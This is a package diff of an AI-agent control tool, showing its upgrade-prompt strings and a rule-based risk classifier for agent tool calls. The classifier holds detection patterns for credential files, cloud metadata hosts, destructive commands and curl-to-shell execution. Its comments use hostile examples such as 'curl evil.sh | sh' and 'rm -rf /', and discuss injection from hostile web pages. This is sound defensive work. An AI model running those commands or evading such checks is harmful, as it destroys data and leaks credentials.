@cirvix_ai/agent-control 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/LICENSE +202 -0
  2. package/NOTICE +42 -0
  3. package/README.md +341 -0
  4. package/action/README.md +100 -0
  5. package/action/action.yml +134 -0
  6. package/action/report.mjs +144 -0
  7. package/bin/cirvix.mjs +1073 -0
  8. package/package.json +60 -0
  9. package/src/commands/demo.mjs +315 -0
  10. package/src/commands/init.mjs +558 -0
  11. package/src/commands/policy.mjs +345 -0
  12. package/src/commands/sarif.mjs +176 -0
  13. package/src/commands/scan.mjs +210 -0
  14. package/src/commands/status.mjs +208 -0
  15. package/src/commands/upgrade.mjs +162 -0
  16. package/src/core/approvals.mjs +388 -0
  17. package/src/core/audit.mjs +181 -0
  18. package/src/core/canonical.mjs +316 -0
  19. package/src/core/daemon.mjs +352 -0
  20. package/src/core/decisions.mjs +253 -0
  21. package/src/core/delegation.mjs +658 -0
  22. package/src/core/detect.mjs +337 -0
  23. package/src/core/entitlement-gate.mjs +100 -0
  24. package/src/core/entitlements.mjs +285 -0
  25. package/src/core/format.mjs +33 -0
  26. package/src/core/gateway.mjs +959 -0
  27. package/src/core/guard.mjs +568 -0
  28. package/src/core/http-transport.mjs +505 -0
  29. package/src/core/journal.mjs +419 -0
  30. package/src/core/jsonrpc.mjs +152 -0
  31. package/src/core/meter.mjs +225 -0
  32. package/src/core/normalize.mjs +516 -0
  33. package/src/core/notices.mjs +80 -0
  34. package/src/core/pipeline.mjs +629 -0
  35. package/src/core/policy-dsl.mjs +611 -0
  36. package/src/core/policy.mjs +710 -0
  37. package/src/core/prompts.mjs +146 -0
  38. package/src/core/risk.mjs +509 -0
  39. package/src/core/sanitize.mjs +279 -0
  40. package/src/core/secret-detect.mjs +533 -0
  41. package/src/core/secrets.mjs +312 -0
  42. package/src/core/uds.mjs +383 -0
  43. package/src/core/vault.mjs +530 -0
  44. package/src/index.mjs +143 -0
  45. package/src/testing.mjs +145 -0
@@ -0,0 +1,146 @@
1
+ /**
2
+ * The terminal-facing copy for every commercial limit.
3
+ *
4
+ * WHY THE WORDING LIVES IN ONE FILE.
5
+ *
6
+ * Every one of these lines appears in the middle of somebody's terminal while
7
+ * they were trying to do something else. Scattered through the call sites they
8
+ * drift into marketing language one edit at a time, and marketing language in
9
+ * that position reads as an interruption rather than an offer. Here they can be
10
+ * read together, and the tests below can hold them to a shape: state the limit,
11
+ * state the number, give the command, stop.
12
+ *
13
+ * The rules these follow, which are worth stating because they are easy to
14
+ * erode:
15
+ *
16
+ * · No superlatives, no urgency, no "you're missing out". The reader is
17
+ * mid-task and did not ask for an advertisement.
18
+ * · Always name the real number they hit and the real number they would get.
19
+ * A prompt that says "upgrade for more" is asking them to go and look it up.
20
+ * · Always end with a command they can run. A prompt with no next step is a
21
+ * complaint.
22
+ * · Never claim Free is ending. It is not, and saying so to hurry someone is
23
+ * the kind of lie that gets screenshotted.
24
+ *
25
+ * These are strings. Nothing here decides anything — `entitlements.mjs` owns
26
+ * every limit, and these functions only read what it already decided.
27
+ */
28
+
29
+ import { TIERS, nextTier, dailyAllowance, tierFor } from "./entitlements.mjs";
30
+
31
+ const n = (v) => Number(v).toLocaleString("en-US");
32
+
33
+ /** `cirvix upgrade <tier>`, or the enterprise equivalent. */
34
+ function upgradeLine(tierId) {
35
+ const next = nextTier(tierId);
36
+ if (!next) return "→ Contact your account owner.";
37
+ return `→ cirvix upgrade ${next}`;
38
+ }
39
+
40
+ /**
41
+ * The daily allowance is spent.
42
+ *
43
+ * Names the tier's own number rather than a generic "limit reached", because
44
+ * the number is the thing that makes the next line persuasive.
45
+ */
46
+ export function quotaReached(licence = {}) {
47
+ const tier = tierFor(licence.tier);
48
+ const allowance = dailyAllowance(licence);
49
+ if (allowance === null) return null; // uncapped; there is nothing to say
50
+
51
+ const next = nextTier(tier.id);
52
+ const lines = [`[cirvix] ${tier.name} daily limit reached (${n(allowance)} decisions).`];
53
+
54
+ if (next) {
55
+ const perSeat = TIERS[next].perSeat ? " / seat" : "";
56
+ lines.push(
57
+ `Upgrade to ${TIERS[next].name} → ${n(TIERS[next].decisionsPerDay)}${perSeat} decisions/day` +
58
+ (TIERS[next].persistentSecrets && !tier.persistentSecrets
59
+ ? " + persistent secret handles."
60
+ : "."),
61
+ );
62
+ }
63
+ lines.push("The counter resets at 00:00 UTC.");
64
+ lines.push(upgradeLine(tier.id));
65
+ return lines.join("\n");
66
+ }
67
+
68
+ /** A second (or nth) agent was started on a tier that does not allow it. */
69
+ export function agentLimitReached(licence = {}) {
70
+ const tier = tierFor(licence.tier);
71
+ if (tier.agents === null) return null;
72
+
73
+ const next = nextTier(tier.id);
74
+ const lines = [
75
+ `[cirvix] ${tier.name} allows ${tier.agents} concurrent agent${tier.agents === 1 ? "" : "s"}.`,
76
+ ];
77
+ if (next) {
78
+ const after = TIERS[next];
79
+ lines.push(
80
+ `${after.name} unlocks ${after.agents === null ? "unlimited agents" : `${n(after.agents)}`}.`,
81
+ );
82
+ }
83
+ lines.push(upgradeLine(tier.id));
84
+ return lines.join("\n");
85
+ }
86
+
87
+ /**
88
+ * A secret handle that will not survive a restart.
89
+ *
90
+ * The strongest conversion lever in the table, and the one most likely to be
91
+ * over-written. It states what will happen and when, and does not editorialise
92
+ * about it — someone who cares about secrets already understands why this
93
+ * matters, and someone who does not is not going to be argued into caring.
94
+ */
95
+ export function ephemeralSecret(licence = {}, handle = "sec_handle_…") {
96
+ const tier = tierFor(licence.tier);
97
+ if (tier.persistentSecrets) return null;
98
+
99
+ const next = nextTier(tier.id);
100
+ const ttl = tier.secretTtlHours;
101
+ return [
102
+ `[cirvix] Secret handle ${handle} is ephemeral on ${tier.name}` +
103
+ (ttl ? ` (clears on restart or after ${ttl}h).` : " (clears on restart)."),
104
+ next ? `${TIERS[next].name} adds a persistent vault.` : "",
105
+ upgradeLine(tier.id),
106
+ ]
107
+ .filter(Boolean)
108
+ .join("\n");
109
+ }
110
+
111
+ /** The fraction of the allowance that triggers the one soft nudge. */
112
+ export const NUDGE_AT = 0.7;
113
+
114
+ /**
115
+ * The single mid-day nudge, or null.
116
+ *
117
+ * ONCE PER DAY, AND ONLY ON A CAPPED TIER. The caller is responsible for
118
+ * remembering that it has been shown — `Meter.shouldNudge()` does that — because
119
+ * a nudge that reappears every few decisions is not a nudge, it is nagging, and
120
+ * the person it annoys most is the heavy user who was the likeliest to convert.
121
+ *
122
+ * It also says Free stays free. That is true, and saying it is what keeps the
123
+ * line from reading as a threat.
124
+ */
125
+ export function softNudge(licence = {}, used = 0) {
126
+ const tier = tierFor(licence.tier);
127
+ const allowance = dailyAllowance(licence);
128
+ if (allowance === null) return null;
129
+ if (used < Math.floor(allowance * NUDGE_AT)) return null;
130
+ if (used >= allowance) return null; // past the limit, `quotaReached` speaks instead
131
+
132
+ const next = nextTier(tier.id);
133
+ if (!next) return null;
134
+
135
+ return [
136
+ `[cirvix] ${n(used)}/${n(allowance)} ${tier.name.toLowerCase()} decisions today.`,
137
+ `Heavy users move to ${TIERS[next].name} for headroom` +
138
+ (TIERS[next].persistentSecrets && !tier.persistentSecrets
139
+ ? " + persistent secrets."
140
+ : "."),
141
+ tier.id === "free" ? "Free stays free forever." : "",
142
+ "→ cirvix status",
143
+ ]
144
+ .filter(Boolean)
145
+ .join("\n");
146
+ }
@@ -0,0 +1,509 @@
1
+ /**
2
+ * The risk engine.
3
+ *
4
+ * Classifies a normalized tool call as LOW, MEDIUM, HIGH, or CRITICAL before
5
+ * policy runs, so a rule can say `risk >= HIGH` instead of enumerating every
6
+ * dangerous tool name that will ever exist.
7
+ *
8
+ * DELIBERATELY NOT A MODEL.
9
+ *
10
+ * The obvious version of this is a small classifier. It is the wrong shape for
11
+ * the job for three reasons, and the reasons are worth stating because the
12
+ * temptation returns every quarter:
13
+ *
14
+ * 1. A risk score that changes between two identical calls makes every
15
+ * downstream artifact — the audit record, the replay, the approval — a
16
+ * claim nobody can reproduce. `cirvix replay` is only meaningful if the
17
+ * same input yields the same classification a year later.
18
+ * 2. A classifier is an inference dependency on the hot path. This runs
19
+ * before every tool call on a developer's laptop.
20
+ * 3. It is an attacker-controlled input path. The arguments come from a model
21
+ * that may be reading a hostile web page; feeding them to a second model
22
+ * to decide how dangerous they are just moves the injection one hop.
23
+ *
24
+ * So: ordered, explicit rules over a normalized call. Most severe match wins,
25
+ * and the matching rule's name is returned alongside the level, because a risk
26
+ * level an operator cannot trace back to a reason is a number they will learn
27
+ * to ignore.
28
+ *
29
+ * WHAT A LEVEL MEANS
30
+ *
31
+ * The level is an input to policy, never a decision by itself. The mapping in
32
+ * `DEFAULT_POSTURE` (LOW allow / MEDIUM policy / HIGH approval / CRITICAL deny)
33
+ * is what applies when no rule matches at all — it is a floor, not an override.
34
+ * A policy that explicitly permits a CRITICAL call wins, because the operator
35
+ * who wrote that rule knew something this table cannot.
36
+ */
37
+
38
+ /** @typedef {"low"|"medium"|"high"|"critical"} RiskLevel */
39
+
40
+ export const RISK = {
41
+ LOW: "low",
42
+ MEDIUM: "medium",
43
+ HIGH: "high",
44
+ CRITICAL: "critical",
45
+ };
46
+
47
+ /** Ordered least → most severe. Used for `risk >= HIGH` comparisons. */
48
+ export const RISK_ORDER = [RISK.LOW, RISK.MEDIUM, RISK.HIGH, RISK.CRITICAL];
49
+
50
+ export function riskRank(level) {
51
+ const i = RISK_ORDER.indexOf(String(level ?? "").toLowerCase());
52
+ return i === -1 ? 0 : i;
53
+ }
54
+
55
+ /** True when `level` is at least `floor`. Unknown levels rank lowest. */
56
+ export function riskAtLeast(level, floor) {
57
+ return riskRank(level) >= riskRank(floor);
58
+ }
59
+
60
+ export function maxRisk(a, b) {
61
+ return riskRank(a) >= riskRank(b) ? a : b;
62
+ }
63
+
64
+ /**
65
+ * The default posture per level — what happens with no matching policy rule.
66
+ *
67
+ * MEDIUM maps to `policy`, which is not a decision: it means "the rule set
68
+ * decides, and default-deny applies if it does not". Encoding it as ALLOW here
69
+ * would quietly make the risk table a permissive layer sitting above the policy
70
+ * engine, which is exactly backwards.
71
+ */
72
+ export const DEFAULT_POSTURE = {
73
+ [RISK.LOW]: "allow",
74
+ [RISK.MEDIUM]: "policy",
75
+ [RISK.HIGH]: "require_approval",
76
+ [RISK.CRITICAL]: "deny",
77
+ };
78
+
79
+ /* -------------------------------------------------------------------------- */
80
+ /* Signals */
81
+ /* -------------------------------------------------------------------------- */
82
+
83
+ /**
84
+ * Paths whose contents are credentials. Matched against the canonicalized
85
+ * resource, so `~/x/../.aws/credentials` and an absolute path are one thing.
86
+ */
87
+ const CREDENTIAL_PATHS = [
88
+ /(^|[/\\])\.env(\.|$)/i,
89
+ /(^|[/\\])\.aws([/\\]|$)/i,
90
+ /(^|[/\\])\.ssh([/\\]|$)/i,
91
+ /(^|[/\\])\.kube([/\\]config)?$/i,
92
+ /(^|[/\\])\.npmrc$/i,
93
+ /(^|[/\\])\.netrc$/i,
94
+ /(^|[/\\])\.docker[/\\]config\.json$/i,
95
+ /(^|[/\\])\.gnupg([/\\]|$)/i,
96
+ /(^|[/\\])id_(rsa|dsa|ecdsa|ed25519)$/i,
97
+ /(^|[/\\])credentials$/i,
98
+ /(^|[/\\])\.pgpass$/i,
99
+ /(^|[/\\])service[-_]?account.*\.json$/i,
100
+ /\.(pem|pfx|p12|key|keystore|jks)$/i,
101
+ /(^|[/\\])\.git-credentials$/i,
102
+ /(^|[/\\])\.terraformrc$/i,
103
+ /(^|[/\\])terraform\.tfstate$/i,
104
+ ];
105
+
106
+ /**
107
+ * Cloud instance-metadata endpoints — the SSRF target that turns a web-fetch
108
+ * tool into a cloud credential. 169.254.169.254 is the canonical one; the
109
+ * others are the same idea on other providers, and `metadata.google.internal`
110
+ * resolves to the same link-local address.
111
+ */
112
+ const METADATA_HOSTS = [
113
+ /^169\.254\.169\.254$/,
114
+ /^metadata\.google\.internal$/i,
115
+ /^metadata\.goog$/i,
116
+ /^100\.100\.100\.200$/, // Alibaba
117
+ /^169\.254\.170\.2$/, // ECS task metadata
118
+ /^fd00:ec2::254$/i,
119
+ ];
120
+
121
+ /** Shell fragments that destroy state rather than inspect it. */
122
+ const DESTRUCTIVE_COMMANDS = [
123
+ /\brm\s+(-[a-z]*[rf][a-z]*\s+)+/i,
124
+ /\brmdir\s+\/s/i,
125
+ /\bdel\s+\/[fsq]/i,
126
+ /\bmkfs\b/i,
127
+ /\bdd\s+.*\bof=\/dev\//i,
128
+ /\bshred\b/i,
129
+ /:\(\)\s*\{\s*:\|:&\s*\}\s*;:/, // fork bomb
130
+ /\bchmod\s+-R\s+777\b/i,
131
+ /\bgit\s+push\s+.*--force/i,
132
+ /\bgit\s+reset\s+--hard/i,
133
+ /\bdrop\s+(table|database|schema)\b/i,
134
+ /\btruncate\s+table\b/i,
135
+ /\bhistory\s+-c\b/i,
136
+ />\s*\/dev\/sd[a-z]/i,
137
+ ];
138
+
139
+ /** Package managers executing arbitrary install-time scripts. */
140
+ const INSTALL_COMMANDS =
141
+ /\b(npm|pnpm|yarn|bun)\s+(i|install|add)\b|\bpip3?\s+install\b|\bgem\s+install\b|\bcargo\s+install\b|\bgo\s+install\b|\bapt(-get)?\s+install\b|\bbrew\s+install\b|\bchoco\s+install\b/i;
142
+
143
+ /**
144
+ * Curl-pipe-to-shell and friends: remote code, executed immediately.
145
+ *
146
+ * The PowerShell arm is separate because its shell is not spelled `sh`.
147
+ * `iwr … | iex` is the exact Windows equivalent of `curl … | sh`, and an
148
+ * earlier version of this pattern required a literal `sh` after the pipe — so
149
+ * the canonical Windows attack scored HIGH instead of CRITICAL and was held for
150
+ * approval rather than denied. The adversarial corpus caught it.
151
+ */
152
+ const REMOTE_EXEC =
153
+ /\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod|irm)\b[^|;]*[|;]\s*(sudo\s+)?((ba|z|k|fi)?sh|iex|invoke-expression|python3?|node|perl|ruby)\b|\biex\s*[(\s]|\|\s*Invoke-Expression/i;
154
+
155
+ /** Production identifiers in a resource, a target, or an environment field. */
156
+ const PRODUCTION_MARKERS =
157
+ /\b(prod|production|live)\b|(^|[-_.])prd([-_.]|$)/i;
158
+
159
+ const SHELL_ACTIONS = new Set(["shell.exec", "process.spawn"]);
160
+ const WRITE_ACTIONS = new Set(["fs.write", "fs.delete", "fs.move", "fs.chmod"]);
161
+ const READ_ACTIONS = new Set(["fs.read", "fs.list", "fs.stat", "fs.search"]);
162
+
163
+ /** Read-only VCS and inspection tools — the LOW baseline in the blueprint. */
164
+ const READ_ONLY_TOOLS =
165
+ /^(git[._-])?(status|log|diff|show|branch|blame|remote|ls[-_]?files|rev[-_]?parse)$|^(read|get|list|stat|search|find|grep|head|tail|cat|query|describe|inspect|explain|ping|health|version|whoami)$/i;
166
+
167
+ /**
168
+ * Shell metacharacters that chain, redirect, or substitute.
169
+ *
170
+ * The allowlist below is only sound because of this check. `npm test` is a safe
171
+ * command; `npm test; curl evil.sh | sh` starts with the same eight characters
172
+ * and is not. Any command containing one of these is disqualified from the
173
+ * allowlist outright and falls back to HIGH — a shell allowlist that can be
174
+ * suffixed is not an allowlist, it is a prefix that grants arbitrary execution.
175
+ */
176
+ const SHELL_METACHARACTERS = /[;&|`$><\n\r]|\$\(|\|\||&&/;
177
+
178
+ /**
179
+ * Commands whose whole job is to inspect or build, matched in full.
180
+ *
181
+ * Anchored, argument-aware, and deliberately short. Every entry here is a
182
+ * command that a developer runs dozens of times an hour and that cannot, on its
183
+ * own, reach outside the project. This is the difference between a control
184
+ * plane a team keeps switched on and one that asks for approval so often it
185
+ * gets disabled in week one.
186
+ *
187
+ * It lowers a command from HIGH to MEDIUM. It never lowers anything to LOW, and
188
+ * it never overrides the destructive, remote-execution, or privilege rules —
189
+ * those are separate entries evaluated independently, and most-severe wins.
190
+ */
191
+ const KNOWN_SAFE_COMMANDS = [
192
+ /^(npm|pnpm|yarn|bun)\s+(test|run\s+[\w:.-]+|ci|ls|list|outdated|why|audit)\s*[\w:.=@/-]*$/i,
193
+ /^(pytest|tox|nox)(\s+[\w./:=-]+)*$/i,
194
+ /^python3?\s+-m\s+(pytest|unittest|mypy|ruff|black)(\s+[\w./:=-]+)*$/i,
195
+ /^(cargo|go)\s+(test|build|check|vet|fmt|clippy)(\s+[\w./:=-]+)*$/i,
196
+ /^(mvn|gradle|gradlew)\s+(test|build|compile|verify)$/i,
197
+ /^(make|just)\s+[\w:.-]+$/i,
198
+ /^git\s+(status|log|diff|show|branch|blame|remote|fetch|rev-parse|ls-files|describe|stash\s+list)(\s+[\w./:=@^~-]+)*$/i,
199
+ /^(ls|dir|pwd|whoami|hostname|date|uname|env|printenv|which|where|node|npm|python3?|go|cargo)\s*(--?[\w-]+)*$/i,
200
+ /^(cat|head|tail|wc|file|stat)\s+[\w./-]+$/i,
201
+ /^(tsc|eslint|prettier|ruff|black|mypy|jest|vitest|mocha)(\s+[\w./:=@*-]+)*$/i,
202
+ /^docker\s+(ps|images|logs|inspect|version|info)(\s+[\w./:-]+)*$/i,
203
+ /^kubectl\s+(get|describe|logs|top|version)(\s+[\w./:-]+)*$/i,
204
+ ];
205
+
206
+ /**
207
+ * True when a command is on the allowlist AND cannot have been extended.
208
+ *
209
+ * Both halves are load-bearing. Order matters too: the metacharacter check runs
210
+ * first so a crafted command never even reaches the patterns.
211
+ */
212
+ export function isKnownSafeCommand(command) {
213
+ if (typeof command !== "string" || !command) return false;
214
+ const trimmed = command.trim();
215
+ if (SHELL_METACHARACTERS.test(trimmed)) return false;
216
+ if (trimmed.length > 200) return false;
217
+ return KNOWN_SAFE_COMMANDS.some((re) => re.test(trimmed));
218
+ }
219
+
220
+ /**
221
+ * True when a command is a recognised package install and nothing else.
222
+ *
223
+ * `package-install` classifies these MEDIUM — installing third-party code that
224
+ * may run install-time scripts. But `shell-execution` also fired on them, and
225
+ * most-severe-wins meant every install scored HIGH, so the MEDIUM rule could
226
+ * never be the answer for the case it was written for.
227
+ *
228
+ * Recognising the shape is what makes it not-arbitrary execution. The same
229
+ * metacharacter guard applies, so `npm install; rm -rf /` is not downgraded —
230
+ * without that, this is a bypass rather than a classification.
231
+ */
232
+ export function isRecognizedInstall(command) {
233
+ if (typeof command !== "string" || !command) return false;
234
+ const trimmed = command.trim();
235
+ if (SHELL_METACHARACTERS.test(trimmed)) return false;
236
+ if (trimmed.length > 200) return false;
237
+ return INSTALL_COMMANDS.test(trimmed);
238
+ }
239
+
240
+ /* -------------------------------------------------------------------------- */
241
+ /* Rules */
242
+ /* -------------------------------------------------------------------------- */
243
+
244
+ /**
245
+ * Each rule is `{ id, level, when(call) -> boolean, why }`.
246
+ *
247
+ * Evaluated in full — not short-circuited — so the classification carries every
248
+ * signal that fired, not just the first. An operator triaging a CRITICAL wants
249
+ * to know it was *both* a credential path *and* an external egress, because
250
+ * that pair is a different incident from either alone.
251
+ */
252
+ export const RISK_RULES = [
253
+ /* ---------------------------------------------------------------- CRITICAL */
254
+ {
255
+ id: "credential-access",
256
+ level: RISK.CRITICAL,
257
+ why: "Reads material that authenticates as somebody. A single successful read is an irreversible disclosure.",
258
+ /**
259
+ * Checks the command as well as the resource.
260
+ *
261
+ * `cat ~/.aws/credentials` is a shell call, so its resource is empty — the
262
+ * credential path is inside the command string. Checking only the resource
263
+ * meant the file-read path was CRITICAL and the identical read through a
264
+ * shell was merely HIGH, which is a hole an agent finds by accident on its
265
+ * first retry. Found by the adversarial corpus.
266
+ */
267
+ when: (c) =>
268
+ CREDENTIAL_PATHS.some((re) => re.test(c.resource ?? "")) ||
269
+ CREDENTIAL_PATHS.some((re) => re.test(c.command ?? "")),
270
+ },
271
+ {
272
+ id: "cloud-metadata-request",
273
+ level: RISK.CRITICAL,
274
+ why: "Targets a cloud instance-metadata endpoint, which returns live role credentials to anything that can reach it.",
275
+ when: (c) => {
276
+ const host = hostOf(c.destination ?? c.resource);
277
+ return Boolean(host) && METADATA_HOSTS.some((re) => re.test(host));
278
+ },
279
+ },
280
+ {
281
+ id: "production-deployment",
282
+ level: RISK.CRITICAL,
283
+ why: "Changes what is serving live traffic. The blast radius is every user, and rollback is not instant.",
284
+ when: (c) =>
285
+ (c.action === "k8s.apply" ||
286
+ /\b(deploy|rollout|apply|release|promote|terraform\s+apply|helm\s+(install|upgrade))\b/i.test(
287
+ `${c.tool ?? ""} ${c.command ?? ""}`,
288
+ )) &&
289
+ (PRODUCTION_MARKERS.test(c.environment ?? "") ||
290
+ PRODUCTION_MARKERS.test(c.resource ?? "") ||
291
+ PRODUCTION_MARKERS.test(c.command ?? "")),
292
+ },
293
+ {
294
+ id: "destructive-command",
295
+ level: RISK.CRITICAL,
296
+ why: "Command matches a pattern that destroys data or history rather than changing it.",
297
+ when: (c) => DESTRUCTIVE_COMMANDS.some((re) => re.test(c.command ?? "")),
298
+ },
299
+ {
300
+ id: "remote-code-execution",
301
+ level: RISK.CRITICAL,
302
+ why: "Downloads code and executes it in one step, so nothing between the network and the shell ever inspects it.",
303
+ when: (c) => REMOTE_EXEC.test(c.command ?? ""),
304
+ },
305
+ {
306
+ id: "secret-material-in-arguments",
307
+ level: RISK.CRITICAL,
308
+ why: "The arguments already contain live credential material, so this call would put a secret on the wire.",
309
+ when: (c) => c.secretsDetected > 0 && c.egress === "external",
310
+ },
311
+
312
+ /* -------------------------------------------------------------------- HIGH */
313
+ {
314
+ id: "shell-execution",
315
+ level: RISK.HIGH,
316
+ why: "Arbitrary command execution. Whatever the policy says about individual tools, a shell can reach past all of them.",
317
+ when: (c) =>
318
+ (SHELL_ACTIONS.has(c.action) || Boolean(c.command)) &&
319
+ !isKnownSafeCommand(c.command) &&
320
+ !isRecognizedInstall(c.command),
321
+ },
322
+ {
323
+ id: "database-write",
324
+ level: RISK.HIGH,
325
+ why: "Mutates persistent state that other systems read. Usually recoverable, never for free.",
326
+ when: (c) =>
327
+ c.action === "db.write" ||
328
+ c.action === "db.migrate" ||
329
+ /\b(insert|update|delete|upsert|merge|alter|create)\s+/i.test(c.sql ?? ""),
330
+ },
331
+ {
332
+ id: "external-egress",
333
+ level: RISK.HIGH,
334
+ why: "Sends data to a destination outside the workspace and outside your network.",
335
+ when: (c) => c.egress === "external",
336
+ },
337
+ {
338
+ id: "workspace-escape",
339
+ level: RISK.HIGH,
340
+ why: "The resolved path is outside the workspace root, so the workspace boundary is not containing this call.",
341
+ when: (c) => c.insideWorkspace === false,
342
+ },
343
+ {
344
+ id: "session-tainted-egress",
345
+ level: RISK.HIGH,
346
+ why: "This session already read secret-shaped material, which makes any outbound call an exfiltration path.",
347
+ when: (c) => c.touchedSecret === true && c.egress !== "none",
348
+ },
349
+ {
350
+ id: "privilege-escalation",
351
+ level: RISK.HIGH,
352
+ why: "Runs with elevated privilege, so the workspace and file-permission boundaries stop applying.",
353
+ when: (c) => /\b(sudo|doas|runas|su\s+-)\b/i.test(c.command ?? ""),
354
+ },
355
+
356
+ /* ------------------------------------------------------------------ MEDIUM */
357
+ {
358
+ id: "shell-execution-known-safe",
359
+ level: RISK.MEDIUM,
360
+ why: "A recognised build or inspection command with no shell metacharacters. Still execution, so never LOW.",
361
+ when: (c) => (SHELL_ACTIONS.has(c.action) || Boolean(c.command)) && isKnownSafeCommand(c.command),
362
+ },
363
+ {
364
+ id: "package-install",
365
+ level: RISK.MEDIUM,
366
+ why: "Installs third-party code that may run install-time scripts with your permissions.",
367
+ when: (c) => isRecognizedInstall(c.command) || c.action === "pkg.install",
368
+ },
369
+ {
370
+ id: "source-modification",
371
+ level: RISK.MEDIUM,
372
+ why: "Modifies files in the workspace. Reviewable and revertible, which is what keeps it below HIGH.",
373
+ when: (c) => WRITE_ACTIONS.has(c.action),
374
+ },
375
+ {
376
+ id: "config-modification",
377
+ level: RISK.MEDIUM,
378
+ why: "Writes agent or tooling configuration, which changes what future runs are allowed to do.",
379
+ when: (c) =>
380
+ WRITE_ACTIONS.has(c.action) &&
381
+ /(mcp\.json|settings\.json|\.cursorrules|CLAUDE\.md|AGENTS\.md|\.claude[/\\]|cirvix\.policy)/i.test(
382
+ c.resource ?? "",
383
+ ),
384
+ },
385
+ {
386
+ id: "internal-egress",
387
+ level: RISK.MEDIUM,
388
+ why: "Reaches a host on the local network. Not the public internet, but not the workspace either.",
389
+ when: (c) => c.egress === "internal",
390
+ },
391
+
392
+ /* --------------------------------------------------------------------- LOW */
393
+ {
394
+ id: "read-only-tool",
395
+ level: RISK.LOW,
396
+ why: "Inspects state without changing it.",
397
+ when: (c) =>
398
+ READ_ACTIONS.has(c.action) ||
399
+ READ_ONLY_TOOLS.test(String(c.tool ?? "")) ||
400
+ /^git[._ -](status|log|diff|show|branch)$/i.test(`${c.tool ?? ""}`),
401
+ },
402
+ ];
403
+
404
+ /* -------------------------------------------------------------------------- */
405
+ /* Classification */
406
+ /* -------------------------------------------------------------------------- */
407
+
408
+ function hostOf(value) {
409
+ if (typeof value !== "string" || !value) return null;
410
+ try {
411
+ if (/^[a-z][a-z0-9+.-]*:\/\//i.test(value)) return new URL(value).hostname.toLowerCase();
412
+ } catch {
413
+ return null;
414
+ }
415
+ // A bare host:port or bare host, which is how a socket-shaped tool names one.
416
+ const bare = value.match(/^([a-z0-9._-]+|\[[0-9a-f:]+\])(?::\d+)?$/i);
417
+ return bare ? bare[1].replace(/^\[|\]$/g, "").toLowerCase() : null;
418
+ }
419
+
420
+ /**
421
+ * Classify one call.
422
+ *
423
+ * Accepts a normalized call (see `normalize.mjs`) or a loose object with any of
424
+ * `action`, `tool`, `resource`, `command`, `sql`, `destination`, `environment`,
425
+ * `egress`, `insideWorkspace`, `touchedSecret`, `secretsDetected`. Missing
426
+ * fields simply do not fire their rules — classification degrades toward the
427
+ * baseline rather than throwing, because a call it cannot read is still a call
428
+ * it must return a level for.
429
+ *
430
+ * @returns {{level: RiskLevel, rank: number, posture: string, signals: Array<{id:string,level:RiskLevel,why:string}>, reason: string}}
431
+ */
432
+ export function classify(call = {}) {
433
+ const c = {
434
+ action: call.action ?? null,
435
+ tool: call.tool ?? null,
436
+ resource: call.resource ?? "",
437
+ command: commandOf(call),
438
+ sql: call.sql ?? call.arguments?.sql ?? call.arguments?.query ?? null,
439
+ destination: call.destination ?? null,
440
+ environment: call.environment ?? call.context?.environment ?? "local",
441
+ egress: call.egress ?? egressOf(call),
442
+ insideWorkspace: call.insideWorkspace ?? call.context?.path?.insideWorkspace ?? true,
443
+ touchedSecret: call.touchedSecret ?? call.context?.session?.touchedSecret ?? false,
444
+ secretsDetected: call.secretsDetected ?? 0,
445
+ };
446
+
447
+ const signals = [];
448
+ for (const rule of RISK_RULES) {
449
+ let fired = false;
450
+ try {
451
+ fired = Boolean(rule.when(c));
452
+ } catch {
453
+ // A rule that throws on a shape it did not expect must not take down the
454
+ // decision path. It contributes nothing and the others still run.
455
+ fired = false;
456
+ }
457
+ if (fired) signals.push({ id: rule.id, level: rule.level, why: rule.why });
458
+ }
459
+
460
+ // Most severe wins. An unrecognised call with no signals at all is MEDIUM,
461
+ // not LOW: "we could not tell" and "we determined it is safe" are different
462
+ // statements, and only one of them should skip review.
463
+ const level = signals.reduce((acc, s) => maxRisk(acc, s.level), signals.length ? RISK.LOW : RISK.MEDIUM);
464
+ const top = signals.filter((s) => s.level === level);
465
+
466
+ return {
467
+ level,
468
+ rank: riskRank(level),
469
+ posture: DEFAULT_POSTURE[level],
470
+ signals,
471
+ reason: top.length
472
+ ? top.map((s) => s.why).join(" ")
473
+ : "No risk signal matched this call, so it is treated as MEDIUM rather than assumed safe.",
474
+ };
475
+ }
476
+
477
+ /** Pulls the shell command out of whichever argument shape the tool used. */
478
+ function commandOf(call) {
479
+ if (typeof call.command === "string" && call.command) return call.command;
480
+ const args = call.arguments ?? call.args ?? null;
481
+ if (!args || typeof args !== "object") return null;
482
+ for (const key of ["command", "cmd", "script", "shell", "exec", "run"]) {
483
+ const v = args[key];
484
+ if (typeof v === "string" && v) return v;
485
+ // `["bash", "-c", "rm -rf /"]` — the dangerous part is an array element.
486
+ if (Array.isArray(v) && v.every((x) => typeof x === "string")) return v.join(" ");
487
+ }
488
+ return null;
489
+ }
490
+
491
+ /** "none" | "internal" | "external" from whatever the call names. */
492
+ function egressOf(call) {
493
+ const target = call.destination ?? call.resource ?? "";
494
+ if (!/^https?:\/\//i.test(target)) return "none";
495
+ const host = hostOf(target);
496
+ if (!host) return "external";
497
+ if (/^(localhost|127\.|0\.0\.0\.0|::1|\[?::1\]?)/i.test(host)) return "none";
498
+ if (/^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.)/.test(host)) return "internal";
499
+ if (/\.(internal|local|localdomain|test|invalid)$/i.test(host)) return "internal";
500
+ return "external";
501
+ }
502
+
503
+ /**
504
+ * Renders the level for a terminal. Kept here so every surface — CLI, demo,
505
+ * logs — spells and pads it identically.
506
+ */
507
+ export function riskLabel(level) {
508
+ return String(level ?? "unknown").toUpperCase();
509
+ }